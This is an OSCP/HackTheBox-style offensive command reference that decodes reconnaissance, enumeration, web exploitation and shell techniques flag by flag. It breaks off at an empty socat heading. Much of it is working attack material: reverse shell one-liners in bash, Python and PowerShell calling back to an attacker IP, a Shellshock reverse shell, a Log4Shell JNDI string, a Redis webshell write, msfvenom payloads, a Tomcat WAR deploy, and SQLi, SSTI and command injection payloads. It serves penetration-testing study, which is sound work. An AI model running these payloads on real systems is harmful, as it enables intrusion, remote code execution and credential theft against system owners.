Skip to content

Command Arsenal

OSCP offensive technique reference — every command decoded

A searchable reference of the offensive techniques that recur across the OSCP / HTB box methodology, each decoded piece-by-piece. Legend: $IP = the target, 10.10.14.x / $LHOST = you (tun0).

How to use: jump to a phase below, or just Ctrl-F / use GitHub's file search for a keyword (nmap, smb, kerberoast, suid …) — every technique is tagged, so a search for a tool name surfaces each place it's used.

128 techniques · generated 2026-11-29

Contents

Recon

Ping sweep a subnet

tags: host-discovery, nmap, ping, sweep, subnet

nmap -sn 10.10.10.0/24 -oA nmap/hosts
  • -sn — no port scan - host discovery only (ICMP + ARP + a couple of probes)
  • 10.10.10.0/24 — the whole /24, i.e. .0 to .255
  • -oA — save normal/greppable/XML output under one basename

Why: First move on a lab network or an AD range: find which hosts are alive before you scan ports. On a local segment ARP makes this reliable even when ICMP is filtered.

ARP scan on the local segment

tags: host-discovery, arp, netdiscover, layer2

sudo netdiscover -r 10.10.10.0/24
  • -r — range to scan
  • sudo — raw ARP needs root

Why: ARP can't be firewalled on your own broadcast domain, so this finds hosts that drop ICMP. Only works when you're layer-2 adjacent (same VLAN / VPN segment).

fping fast liveness check

tags: host-discovery, fping, sweep, scriptable

fping -asgq 10.10.10.0/24
  • -a — show only alive hosts
  • -s — print stats at the end
  • -g — generate the target list from the range
  • -q — quiet - no per-probe noise

Why: Pipe the alive list straight into a scan loop. Lighter than nmap when you only need 'who's up'.

Enumeration

Two-stage Nmap (the hero scan)

tags: nmap, port-scan, tcp, recon, enumeration

nmap -p- --min-rate 10000 -oA nmap/alltcp $IP
nmap -p 22,80,443 -sCV -oA nmap/scripts $IP
  • -p- — all 65535 TCP ports
  • --min-rate 10000 — >=10k packets/sec so the full sweep finishes in ~30s, not 20 min
  • -sC — run the default NSE script set
  • -sV — version-detect each open service (-sCV = both)
  • -oA — save all three output formats

Why: Running scripts against 65k ports is slow and loud. Find the open ports fast, then go deep on only those. This single pattern opens almost every box.

UDP top-ports scan

tags: nmap, udp, snmp, tftp, port-scan

sudo nmap -sU --top-ports 100 -oA nmap/udp $IP
  • -sU — UDP scan (needs root for raw sockets)
  • --top-ports 100 — the 100 most common UDP ports - a full -sU is painfully slow

Why: Services like SNMP (161), TFTP (69), IKE (500) and DNS live on UDP and never show in a TCP scan. SNMP in particular hands out a goldmine with the right community string.

Nmap vuln / safe NSE scripts

tags: nmap, nse, vuln, scripts

nmap -sV --script vuln -oA nmap/vuln $IP
  • --script vuln — run every NSE script in the 'vuln' category
  • -sV — versions first so the scripts know what to test

Why: A quick CVE sanity check (e.g. ms17-010, shellshock, heartbleed). Treat hits as leads to verify by hand - NSE gives false positives and OSCP won't accept 'nmap said so'.

Pin the hostname in /etc/hosts

tags: hosts, vhost, dns, web, etc-hosts

echo "10.10.10.10 box.htb www.box.htb" | sudo tee -a /etc/hosts
  • tee -a — append the line to /etc/hosts (needs sudo)
  • box.htb www.box.htb — every name the app uses - add them all

Why: Half of web boxes redirect or 403 until you reach them by name instead of IP (name-based virtual hosting). The moment you see a redirect to a hostname, add it here.

Directory brute-force with feroxbuster

tags: feroxbuster, web, content-discovery, fuzzing, dirbusting

feroxbuster -u http://$IP -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,txt,html
  • -u — base URL
  • -w — wordlist
  • -x php,txt,html — append each extension to every word
  • (default) — feroxbuster recurses automatically into every directory it finds

Why: Recursion is the point: it finds /admin, then immediately fuzzes inside /admin. Catch-all first tool for hidden paths, backups and panels.

Directory brute-force with gobuster / ffuf

tags: gobuster, ffuf, web, content-discovery, fuzzing

gobuster dir -u http://$IP -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt
ffuf -u http://$IP/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -e .php,.txt
  • FUZZ — ffuf's injection marker - replaced by each word
  • -x / -e — extensions to append
  • -u — target URL

Why: Same job, different tools - have a backup when one chokes on a weird server. ffuf is faster and its filters (-fc, -fs, -mc) are better for noisy apps.

Virtual-host (vhost) fuzzing

tags: ffuf, vhost, subdomain, web, host-header, fuzzing

ffuf -u http://$IP -H "Host: FUZZ.box.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 1234
  • -H "Host: FUZZ.box.htb" — fuzz the Host header - same IP, different sites
  • -fs 1234 — filter out the default-response size so only real vhosts show
  • -w — subdomain wordlist

Why: One IP can serve many apps keyed on the Host header. First run it, note the baseline response size, then set -fs to that size to hide the noise. Add every hit to /etc/hosts.

Gotcha: If -fs hides everything, the baseline varies per request - switch to filtering by word count (-fw) or line count (-fl) instead.

Parameter fuzzing

tags: ffuf, parameter, web, fuzzing, lfi, idor

ffuf -u 'http://$IP/index.php?FUZZ=key' -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -fs 0
  • ?FUZZ=key — fuzz the parameter name
  • -fs 0 — hide empty responses
  • burp-parameter-names.txt — common GET/POST param names

Why: Finds hidden parameters that unlock LFI, IDOR or debug behaviour (?file=, ?debug=, ?admin=). The app often behaves differently the instant a known param appears.

Fingerprint the web stack

tags: whatweb, nikto, web, fingerprint, recon

whatweb http://$IP
nikto -h http://$IP
  • whatweb — identify CMS, framework, server, versions, headers
  • nikto -h — scan for known-bad files, outdated software, misconfigs

Why: Thirty seconds that often names the CMS and version, which goes straight into searchsploit. nikto is noisy but surfaces /backup, default files and dangerous methods.

WordPress enumeration

tags: wpscan, wordpress, web, cms, enumeration

wpscan --url http://$IP -e ap,at,u --plugins-detection aggressive
  • -e ap — enumerate all plugins
  • -e at — all themes
  • -e u — users
  • --plugins-detection aggressive — probe plugin paths directly, not just the homepage

Why: Vulnerable plugins are the usual way into WordPress. Enumerated usernames feed a password attack on /wp-login.php.

SMB share listing

tags: smb, smbclient, smbmap, shares, enumeration, windows

smbclient -L //$IP/ -N
smbmap -H $IP -u guest
nxc smb $IP -u '' -p '' --shares
  • -L — list shares
  • -N — no password (null session)
  • -u '' -p '' — null/anonymous creds
  • --shares / smbmap — also show your READ/WRITE access per share

Why: Null and guest sessions still read shares on a huge number of boxes. smbmap/nxc tell you where you can WRITE, which is often the foothold (drop a payload, poison a share).

Connect to and loot an SMB share

tags: smb, smbclient, download, loot, mget

smbclient //$IP/share -N
smb> prompt off
smb> recurse on
smb> mget *
  • prompt off — don't ask y/n for every file
  • recurse on — walk subdirectories
  • mget * — download everything

Why: Grab the whole share in one go, then grep offline for passwords, configs, scripts and keys. Config files on open shares are a classic credential source.

RID-cycle users over RPC

tags: rpcclient, rpc, users, enumeration, windows, smb

rpcclient -U "" -N $IP
rpcclient $> enumdomusers
rpcclient $> querydispinfo
  • -U "" -N — null session, no password
  • enumdomusers — list domain/local users (and their RIDs)
  • querydispinfo — user descriptions - sometimes hold passwords

Why: A null RPC session often dumps the full user list, which becomes your spray list. Always read the description fields - admins leave 'default pw is ...' there.

enum4linux-ng one-shot

tags: enum4linux, smb, windows, enumeration, rpc

enum4linux-ng -A $IP
  • -A — do everything - users, groups, shares, policy, OS, RID cycling

Why: The fire-and-forget SMB/RPC enumerator. Run it while you look elsewhere; come back to a full picture of users, shares and password policy.

NFS exports

tags: nfs, showmount, mount, enumeration, linux

showmount -e $IP
sudo mount -t nfs $IP:/export /mnt/nfs -o nolock
  • showmount -e — list exported NFS shares
  • mount -t nfs — mount the export locally
  • -o nolock — skip the lock manager (avoids hangs)

Why: Open exports are read/write loot. If root_squash is off you can plant a SUID binary as root here - see the Linux Privesc entry for the full chain.

SNMP walk

tags: snmp, snmpwalk, udp, enumeration, community-string

snmpwalk -v2c -c public $IP
snmpwalk -v2c -c public $IP 1.3.6.1.4.1.77.1.2.25
  • -v2c — SNMP version 2c
  • -c public — the community string (default 'public'/'private')
  • 1.3.6.1.4.1.77.1.2.25 — the OID for the Windows user list

Why: SNMP leaks processes (with command-line passwords), listening ports, software and user accounts. Brute the community string with onesixtyone if 'public' fails.

LDAP anonymous bind

tags: ldap, ldapsearch, enumeration, active-directory

ldapsearch -x -H ldap://$IP -s base namingcontexts
ldapsearch -x -H ldap://$IP -b "dc=box,dc=htb"
  • -x — simple (anonymous) auth
  • -H — the LDAP URI
  • -s base namingcontexts — ask the server for its base DN first
  • -b — search base to dump

Why: Ask the server for its naming context, then dump it. Anonymous LDAP often reveals users, groups and sometimes passwords in description fields on AD boxes.

DNS zone transfer

tags: dns, dig, axfr, zone-transfer, enumeration

dig axfr box.htb @$IP
dnsrecon -d box.htb -n $IP -t axfr
  • axfr — request a full zone transfer
  • @$IP — ask this specific DNS server
  • -d / -n — domain / nameserver

Why: A misconfigured DNS server hands over every record - subdomains, internal hosts, mail servers - in one request. Instant map of the environment.

Anonymous FTP

tags: ftp, anonymous, enumeration, download

ftp $IP      # user: anonymous  pass: anything
wget -r ftp://anonymous:anon@$IP/
  • anonymous — the default anon username
  • wget -r — recursively mirror the whole FTP tree

Why: Anonymous FTP is common and often world-writable. Readable = source code and creds; writable + a web root = drop a web shell.

MSSQL foothold & xp_cmdshell

tags: mssql, mssqlclient, xp-cmdshell, database, rce, impacket

mssqlclient.py box.htb/user:pass@$IP -windows-auth
SQL> EXEC sp_configure 'show advanced options',1; RECONFIGURE;
SQL> EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;
SQL> EXEC xp_cmdshell 'whoami';
  • mssqlclient.py -windows-auth — log into MSSQL (1433) with domain/local creds
  • sp_configure 'xp_cmdshell',1 — re-enable the command-exec stored procedure
  • EXEC xp_cmdshell 'cmd' — run OS commands as the SQL service account

Why: MSSQL service accounts usually hold SeImpersonate, so xp_cmdshell RCE feeds straight into a Potato to SYSTEM. Also try 'enable_xp_cmdshell' in nxc's mssql module.

SMTP username enumeration

tags: smtp, smtp-user-enum, email, users, enumeration, port-25

smtp-user-enum -M VRFY -U users.txt -t $IP
smtp-user-enum -M RCPT -U users.txt -t $IP
  • -M VRFY — ask the mail server to verify a mailbox exists
  • -M RCPT — fallback method when VRFY is disabled
  • -U / -t — username list / target

Why: Port 25 will often confirm which usernames are real before you spray them anywhere else. Valid names feed AS-REP roasting and SSH/SMB spraying.

Kerberos user enumeration (kerbrute)

tags: kerbrute, kerberos, active-directory, users, enumeration, stealth

kerbrute userenum -d box.htb --dc $IP users.txt
  • userenum — validate usernames via Kerberos pre-auth responses
  • -d / --dc — domain / domain controller
  • (stealth) — a bad username and a bad password look different to the KDC

Why: The quiet way to find valid AD accounts: pure username enumeration doesn't log a failed logon and doesn't touch lockout counters. Confirmed users then go to AS-REP roasting or a careful spray.

Gotcha: userenum is safe for lockout; 'kerbrute passwordspray' is NOT - that one tries a password and counts against lockout.

Unauthenticated Redis

tags: redis, redis-cli, nosql, rce, enumeration, port-6379

redis-cli -h $IP
$IP:6379> info
$IP:6379> config set dir /var/www/html
$IP:6379> config set dbfilename shell.php
$IP:6379> set x '<?php system($_GET["c"]); ?>'
$IP:6379> save
  • info — version + whether it's a replica/master (and if auth is off)
  • config set dir / dbfilename — point Redis' save path at a web root
  • save — writes the key contents to that file - now a webshell

Why: Redis on 6379 with no password lets you write arbitrary files: a webshell into a web root, or an SSH key into ~/.ssh/authorized_keys. One of the cleanest unauth-to-RCE chains.

rsync module enumeration

tags: rsync, file-transfer, enumeration, port-873, anonymous

rsync -av --list-only rsync://$IP/
rsync -av rsync://$IP/share/ ./loot/
  • --list-only — list the exposed modules without downloading
  • rsync://$IP/share/ — pull (or push) a module's contents
  • port 873 — rsync daemon - frequently anonymous

Why: Exposed rsync modules leak files and sometimes allow writing - drop a cron or an authorized_keys where it syncs. Always list first, then pull anything readable for offline grep.

DNS subdomain brute-force

tags: dns, gobuster, subdomain, enumeration, bruteforce

gobuster dns -d box.htb -r $IP -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
  • dns — brute-force real DNS records, not vhosts
  • -d — the parent domain
  • -r $IP — use the box's DNS server as the resolver

Why: When a zone transfer is refused, brute the names instead. Different from vhost fuzzing: this resolves actual DNS records (and can reveal internal hosts the DNS server knows about).

MSSQL linked servers & impersonation

tags: mssql, linked-server, impersonation, database, rce, lateral-movement

SQL> SELECT srvname FROM master..sysservers;                 -- find linked servers
SQL> EXEC ('sp_configure ''xp_cmdshell'',1; RECONFIGURE; EXEC xp_cmdshell ''whoami''') AT [LINKED\SRV];
SQL> EXECUTE AS LOGIN = 'sa'; SELECT SYSTEM_USER;             -- impersonate if you have IMPERSONATE
  • sysservers / linked server — this DB can run queries on another DB server
  • EXEC (...) AT [LINKED] — run commands (incl. xp_cmdshell) on the linked box
  • EXECUTE AS LOGIN = 'sa' — escalate to sysadmin when you hold IMPERSONATE on it

Why: MSSQL often trusts other MSSQL servers. Hop across linked servers - frequently landing in a higher-privileged (sysadmin) context on the next hop - and run xp_cmdshell there.

SNMP write (rw community to RCE)

tags: snmp, snmpset, rce, enumeration, udp, net-snmp

snmpwalk -v2c -c public $IP nsExtendObjects      # is NET-SNMP EXTEND present?
# with a READ-WRITE community string, register and run a command via the EXTEND MIB:
snmpset -v2c -c <rw-community> $IP ...nsExtend... s /bin/sh ...   # runs as the snmpd user (often root)
  • rw community — a writable string (not just 'public') is the prerequisite
  • NET-SNMP EXTEND MIB — lets you define a command the agent will execute
  • runs as snmpd — usually root - straight to a privileged RCE

Why: SNMP isn't only read-only recon. A writable community plus the NET-SNMP EXTEND feature lets you register a command the agent runs for you - commonly as root.

Authenticated LDAP / domain dump

tags: ldapdomaindump, ldap, active-directory, nxc, enumeration, credentials

ldapdomaindump -u 'box.htb\user' -p pass $IP -o loot/
nxc ldap $IP -u user -p pass --users --groups
nxc ldap $IP -u user -p pass --users | grep -i 'description\|pwd'
  • ldapdomaindump — dump users/groups/computers/policies to HTML+JSON+grep files
  • one credential — all of this unlocks the moment you have any valid domain login
  • description fields — admins still hide passwords here - always read them

Why: The fastest full map of the domain once you hold a single credential: every user, group, computer and the password policy, in files you can grep offline.

SMB sessions & where you're admin

tags: nxc, crackmapexec, smb, sessions, loggedon, lateral-movement

nxc smb $IP -u user -p pass --sessions --loggedon-users
nxc smb targets.txt -u user -p pass            # '(Pwn3d!)' = local admin there
nxc smb targets.txt -u user -H <NTLM> --shares
  • --loggedon-users — who is active on a host (whose creds you could steal there)
  • sweep a target list — nxc prints (Pwn3d!) on every host your creds are local admin
  • -H <NTLM> — sweep with a hash instead of a password

Why: Point your one credential at the whole subnet: nxc tells you exactly which hosts you're already local admin on, and which have privileged users logged in to harvest.

Web Exploitation

Local File Inclusion (LFI)

tags: lfi, web, path-traversal, file-read, php

http://$IP/index.php?page=../../../../etc/passwd
http://$IP/index.php?page=....//....//....//etc/passwd
  • ../ — climb one directory; stack enough to reach filesystem root
  • ....// — bypass a naive one-pass strip of '../'

Why: Read any file the web user can: /etc/passwd to enumerate users, app configs for DB creds, SSH keys. Confirm with /etc/passwd, then pivot to RCE (log poisoning / wrappers below).

Gotcha: If the extension is appended (page=../../etc/passwd.php), try a null byte on old PHP or a path-truncation/wrapper trick.

LFI to RCE via PHP wrappers

tags: lfi, rce, php-filter, php-wrapper, web, base64

php://filter/convert.base64-encode/resource=index.php
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+
  • php://filter/convert.base64-encode — read PHP source without executing it (leaks secrets)
  • resource= — the file to read
  • data://...base64, — smuggle a payload as the 'file'

Why: Two jobs: the filter wrapper exfiltrates source code (find hardcoded creds/logic); the data wrapper turns a read into code execution when allow_url_include is on.

LFI to RCE via log poisoning

tags: lfi, rce, log-poisoning, web, php

curl http://$IP/ -A "<?php system(\$_GET['c']); ?>"
http://$IP/index.php?page=/var/log/apache2/access.log&c=id
  • -A "<?php...?>" — write PHP into the User-Agent, which the server logs
  • page=/var/log/.../access.log — then include the log so the PHP runs
  • &c=id — the command, read by $_GET['c']

Why: When you can include a file but not upload one, poison a file the server writes (access log, mail, /proc/self/environ) with PHP, then include it.

Manual UNION SQL injection

tags: sqli, sql-injection, union, web, database, manual

' ORDER BY 5-- -
' UNION SELECT 1,2,3,4,5-- -
' UNION SELECT 1,username,password,4,5 FROM users-- -
  • ' — break out of the string context
  • ORDER BY n — find the column count - error when n is too high
  • UNION SELECT — bolt your own row onto the result set
  • -- - — comment out the rest of the original query

Why: OSCP bans sqlmap, so do it by hand: count columns, find which ones print, then pull data from information_schema. Manual SQLi also teaches you exactly what the app is doing.

Gotcha: Column count must match and types must be compatible - use NULLs (UNION SELECT NULL,NULL,...) if numbers error out.

Command injection

tags: command-injection, rce, web, injection

127.0.0.1; id
127.0.0.1 | id
127.0.0.1 $(id)
127.0.0.1 `id`
  • ; — command separator - run mine after theirs
  • | — pipe their output into my command
  • $( ) / ` ` — command substitution - works even inside quotes

Why: Anywhere user input hits a shell (ping tools, converters, filename handlers). Confirm with a clean command like id, then go to a reverse shell.

Gotcha: Blind? Prove it out-of-band: ping -c1 10.10.14.x and watch tcpdump, or curl 10.10.14.x/$(whoami) on your http server.

File upload bypass

tags: file-upload, web-shell, rce, web, bypass

shell.phtml / shell.php5 / shell.pHp
Content-Type: image/png  (keep PHP body)
GIF89a;<?php system($_GET['c']); ?>
  • .phtml/.php5/.pHp — alternate PHP extensions a blocklist may miss
  • Content-Type: image/png — fake the MIME type past a weak check
  • GIF89a; — a magic-byte prefix so content-sniffing thinks it's an image

Why: Chain the bypasses: wrong extension check, MIME check, magic-byte check - defeat each in turn. Once uploaded, browse to it and you have RCE.

Server-Side Template Injection (SSTI)

tags: ssti, rce, web, jinja2, template

{{7*7}}        -> 49 confirms
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
  • {{7*7}} — if it renders 49, templates evaluate your input
  • __globals__['os'].popen — walk Python internals to reach os and run a command

Why: Probe with a math expression per engine ({{77}}, ${77}, #{7*7}). A hit usually means full RCE via the language's object model.

Default / reused credentials

tags: credentials, default-creds, web, login, auth

admin:admin  admin:password  tomcat:s3cret  root:root
(try looted creds everywhere - web, SSH, SMB, DB)
  • looted creds everywhere — credential reuse across services is the #1 lateral move

Why: Before brute-forcing, try defaults and anything you've already looted. A password found in a config file almost always unlocks a second service.

Server-Side Request Forgery (SSRF)

tags: ssrf, web, cloud, metadata, internal, gopher

http://$IP/fetch?url=http://127.0.0.1:8080/admin
http://$IP/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
  • url=http://127.0.0.1:... — make the server hit its own internal-only services
  • 169.254.169.254 — the cloud metadata endpoint - leaks IAM creds on AWS
  • gopher:// — smuggle raw bytes to talk to Redis/MySQL/SMTP internally

Why: Turn the server into your proxy to reach things you can't: internal admin panels, cloud metadata, and port scans of the internal network.

Gotcha: Filter blocking 'localhost'/'127.0.0.1'? Try 127.1, 0177.0.0.1, 2130706433 (decimal), or [::1].

XML External Entity (XXE)

tags: xxe, web, xml, file-read, ssrf, svg

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root><name>&xxe;</name></root>
# source read:  php://filter/convert.base64-encode/resource=index.php
  • <!ENTITY xxe SYSTEM "file://..."> — define an entity that points at a local file
  • &xxe; — reference it so the parser inlines the file into the response
  • php://filter — base64-wrap source so XML-breaking chars survive

Why: Any XML sink - SOAP APIs, file uploads that parse .docx/.svg/.xml - can be coerced into reading local files or making SSRF requests. Confirm with /etc/passwd.

Insecure deserialization

tags: deserialization, web, ysoserial, java, php, rce

java -jar ysoserial.jar CommonsCollections5 'bash -c {echo,BASE64}|{base64,-d}|bash' | base64 -w0
# PHP: craft an O:<len>:"Class":... gadget hitting __wakeup/__destruct
  • ysoserial <gadget> — build a serialized object that runs code when deserialized
  • CommonsCollections5 — a common Java gadget chain - try several
  • base64 blob — paste into the cookie/param/ViewState that the app deserializes

Why: Apps that unserialize user data (Java ViewState/JSF, PHP objects, .NET) run your gadget on load.

Gotcha: Tell-tale signs: a Java serialized blob base64-decodes to bytes starting 'rO0AB'; .NET ViewState starts with a long base64 beginning with '/w' or 'AAEA'.

IDOR / broken access control

tags: idor, access-control, web, authorization, privilege-escalation

GET /api/user/1   ->   GET /api/user/2
POST /update {"role":"user"}   ->   {"role":"admin"}
forced browse:  /admin  /api/admin  /user/2/invoice
  • swap the id — access another object you shouldn't (horizontal)
  • change the role/flag — grant yourself more rights (vertical)
  • forced browsing — hit privileged endpoints directly - no link needed

Why: No server-side ownership check means the ID in the request is the only thing guarding the data. Increment it, tamper roles, and brute hidden endpoints.

Tomcat manager WAR deploy

tags: tomcat, war, jsp, web, rce, default-creds

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.x LPORT=443 -f war -o s.war
curl --upload-file s.war "http://tomcat:s3cret@$IP:8080/manager/text/deploy?path=/s"
curl http://$IP:8080/s/   # triggers the shell
  • /manager/text/deploy — the authenticated deploy endpoint
  • -f war — package the JSP shell as a deployable web app
  • tomcat:s3cret — try default creds: tomcat/tomcat, admin/admin, tomcat/s3cret

Why: Authenticated Tomcat manager = RCE: deploy a JSP webshell as a WAR, then browse to it. Brute /manager/html with the default credential list first.

Jenkins Groovy script console

tags: jenkins, groovy, web, rce, ci

// at /script :
String host="10.10.14.x";int port=443;String cmd="/bin/bash";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port); /* wire streams */
  • /script — Jenkins' Groovy console - runs code as the Jenkins user
  • ProcessBuilder — spawn a process = OS command execution
  • (auth) — often weak/default creds, sometimes anonymous

Why: Reaching /script is instant RCE. Even without it, the build-step configuration lets you run shell commands. Jenkins usually runs as a privileged service account.

Werkzeug / Flask debug console

tags: werkzeug, flask, python, web, rce, debug

http://$IP/console   (if debug=True)
# or trigger an error to get the interactive traceback + PIN prompt
  • /console — Werkzeug's interactive Python shell when debug mode is on
  • PIN — derivable from machine details leaked in tracebacks
  • debug=True — the misconfiguration - never meant for production

Why: A Flask app left in debug mode exposes a Python console = RCE. If it's PIN-locked, the PIN is computable from information the traceback itself leaks (username, machine-id, module path).

Exposed .git directory dump

tags: git, git-dumper, web, source-disclosure, secrets

git-dumper http://$IP/.git/ ./loot
cd loot && git log -p | grep -iE 'pass|secret|key|token'
  • git-dumper — reconstruct the repo from an exposed .git/ folder
  • git log -p — read the full history - deleted secrets still live in old commits
  • grep — sweep for credentials and keys

Why: Developers deploy the .git folder by accident constantly. Dumping it gives you the full source (find the logic/vulns) and often credentials buried in the commit history.

Shellshock (CVE-2014-6271)

tags: shellshock, cgi, bash, web, rce, cve

curl -H "User-Agent: () { :;}; echo; /bin/bash -i >& /dev/tcp/10.10.14.x/443 0>&1" http://$IP/cgi-bin/status
  • () { :;}; — a bash function definition - the trigger
  • ; <command> — bash runs whatever trails the definition
  • /cgi-bin/ — look here: CGI scripts pass headers into bash's environment

Why: Any CGI that shells out runs your payload because vulnerable bash executes code trailing a function definition in an environment variable. Smuggle it in User-Agent, Cookie or Referer.

Log4Shell (CVE-2021-44228)

tags: log4shell, log4j, jndi, java, web, rce, cve

# inject into any logged field (header, username, search):
${jndi:ldap://10.10.14.x:1389/a}
# serve the payload: JNDIExploit / rogue-jndi on :1389
  • ${jndi:ldap://...} — makes vulnerable Log4j do a JNDI lookup
  • JNDI server — responds with a reference to a remote Java class
  • (result) — the app downloads and executes that class = RCE

Why: If a Java app logs attacker-controlled input, this string turns a log line into code execution. Try it in User-Agent, X-Forwarded-For and any form field; watch your JNDI server for the hit.

Finding and Modifying Exploits

Search for a public exploit

tags: searchsploit, exploit-db, cve, exploits

searchsploit "apache 2.4"
searchsploit -m 50383
searchsploit -p 50383
  • searchsploit <terms> — search the offline Exploit-DB mirror
  • -m <id> — mirror (copy) the exploit into the current dir
  • -p <id> — print the full path + URL

Why: Map the exact service version (from -sV) to a known exploit. Copy it locally with -m so you can read and edit it before running - never run exploit code blind.

Read before you run - edit the exploit

tags: exploit, modify, rhost, lhost, shellcode

# in the script, fix these before running:
RHOST / target IP + port
LHOST / LPORT  (your tun0 IP)
payload / shellcode, and any hardcoded URL or path
  • RHOST/LHOST — point it at the box and at YOU
  • payload — swap in your own reverse-shell/command
  • hardcoded paths — exploit authors leave /tmp, usernames, offsets baked in

Why: Most Exploit-DB scripts don't work out of the box. Read the whole thing, understand what it does, then set the target, your listener, and the payload. This is explicitly an OSCP skill.

Compile a C exploit (Linux + Windows)

tags: gcc, compile, mingw, exploit, cross-compile

gcc exploit.c -o exploit
i686-w64-mingw32-gcc exploit.c -o exploit.exe -lws2_32
  • gcc — compile for Linux
  • i686-w64-mingw32-gcc — cross-compile a Windows .exe from Kali
  • -lws2_32 — link the Windows sockets library (needed for network code)

Why: Kernel and privesc exploits usually ship as C source. Compile Linux ones on a matching glibc if you can; cross-compile Windows ones with mingw so you never need a Windows box.

Generate payloads with msfvenom

tags: msfvenom, payload, reverse-shell, exe, elf, aspx

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.x LPORT=443 -f exe -o s.exe
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.x LPORT=443 -f elf -o s.elf
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.x LPORT=443 -f war -o s.war
  • -p — the payload (staged uses '/meterpreter', stageless '_reverse_tcp')
  • LHOST/LPORT — your listener
  • -f — output format: exe, elf, war, aspx, raw, psh
  • -o — output file

Why: Build the right file for the target: exe/elf for native, war/aspx/jsp for app servers (Tomcat/IIS). Pair a non-meterpreter payload with a plain nc listener to stay inside OSCP's tooling limits.

Gotcha: Add '-e'/'-b' only if bad characters are a real problem - on OSCP most shells don't need an encoder, and encoders get flagged as 'just run metasploit' thinking.

Windows stack buffer overflow (PEN-200 workflow)

tags: buffer-overflow, bof, eip, mona, msfvenom, exploit-dev

# 1) fuzz until the service crashes, 2) find the offset to EIP:
msf-pattern_create -l 3000
msf-pattern_offset -l 3000 -q <EIP_value>
# 3) confirm EIP control; 4) map bad chars, 5) find a JMP ESP:
!mona bytearray -b "\x00"
!mona jmp -r esp -cpb "\x00"
# 6) shellcode (msfvenom shellcode is allowed - this is NOT the Metasploit box):
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.x LPORT=443 -b "\x00" -f python
# payload = "A"*offset + <JMP ESP addr, little-endian> + "\x90"*16 + shellcode
  • pattern_create/offset — cyclic pattern -> exact bytes until you overwrite EIP
  • mona bytearray / -cpb — compare memory to find bad chars, then pick a clean JMP ESP
  • JMP ESP — a static address that jumps into your shellcode on the stack
  • -b "\x00" — exclude bad chars from the shellcode

Why: The classic exploit-dev pipeline that still appears in PEN-200: fuzz, find the offset, control EIP, clear bad chars, redirect to a JMP ESP, land shellcode.

Gotcha: Identify ALL bad chars before choosing the JMP ESP address and generating shellcode - one missed bad char mangles your return address or payload and the exploit silently fails.

Access and Shells

Reverse shell one-liners (Linux)

tags: reverse-shell, bash, nc, python, shell, revshell

bash -i >& /dev/tcp/10.10.14.x/443 0>&1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.x 443 >/tmp/f
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("10.10.14.x",443));[os.dup2(s.fileno(),f) for f in(0,1,2)];pty.spawn("/bin/bash")'
  • bash -i — interactive bash
  • >& /dev/tcp/IP/PORT — redirect all I/O to a TCP socket (bash's built-in networking)
  • 0>&1 — wire stdin to that same socket
  • mkfifo — named pipe - the portable version when /dev/tcp is unavailable

Why: The bash /dev/tcp one is cleanest when bash exists. The mkfifo one works on /bin/sh. The python one lands you a PTY immediately. Keep revshells.com in mind for other languages.

Gotcha: URL-encode the payload when sending it through a web parameter, or the &, ; and spaces will break it.

Reverse shell one-liners (Windows)

tags: reverse-shell, powershell, windows, shell, revshell

powershell -nop -c "$c=New-Object System.Net.Sockets.TCPClient('10.10.14.x',443);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$sb=([Text.Encoding]::ASCII).GetBytes($r);$s.Write($sb,0,$sb.Length);$s.Flush()}"
  • -nop — no profile - skip any startup script that might interfere
  • -c — run this command string
  • TCPClient / GetStream — open a socket back to you
  • iex $d — Invoke-Expression on whatever you type - that's the shell loop

Why: The reliable PowerShell reverse shell. Base64-encode it (-enc) when quoting through another command is painful. Pairs with a plain nc listener.

Gotcha: Encode with: [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($cmd)) then run powershell -enc .

Catch the shell (listeners)

tags: listener, nc, netcat, rlwrap, pwncat, handler

nc -lvnp 443
rlwrap nc -lvnp 443
pwncat-cs -lp 443
  • -l — listen
  • -v — verbose
  • -n — no DNS
  • -p 443 — on this port
  • rlwrap — wraps nc to give arrow keys + command history in the caught shell
  • pwncat-cs — auto-stabilises the TTY and adds up/download helpers

Why: 443/80 are the ports egress filters usually allow out. rlwrap makes a raw shell bearable; pwncat does the TTY upgrade for you.

Stabilise a dumb shell (full TTY upgrade)

tags: tty, pty, shell-upgrade, stty, socat, interactive

python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
# press Enter, then:
export TERM=xterm; stty rows 50 cols 200
  • pty.spawn("/bin/bash") — allocate a real pseudo-terminal so su/ssh/sudo/vi work
  • Ctrl+Z — background the shell to your own terminal
  • stty raw -echo — put YOUR terminal in raw mode - keys pass through, no double echo
  • fg — foreground the shell again
  • export TERM=xterm — so clear/less/vi can draw
  • stty rows/cols — match your window size (get yours with 'stty size')

Why: A raw nc shell has no job control, no tab-complete, and Ctrl-C kills it. This five-step dance turns it into a proper terminal. The single most-used post-foothold technique.

Gotcha: No python? Use: script -qc /bin/bash /dev/null as step 1. Best of all is a full socat TTY if socat is on both ends.

socat full TTY shell

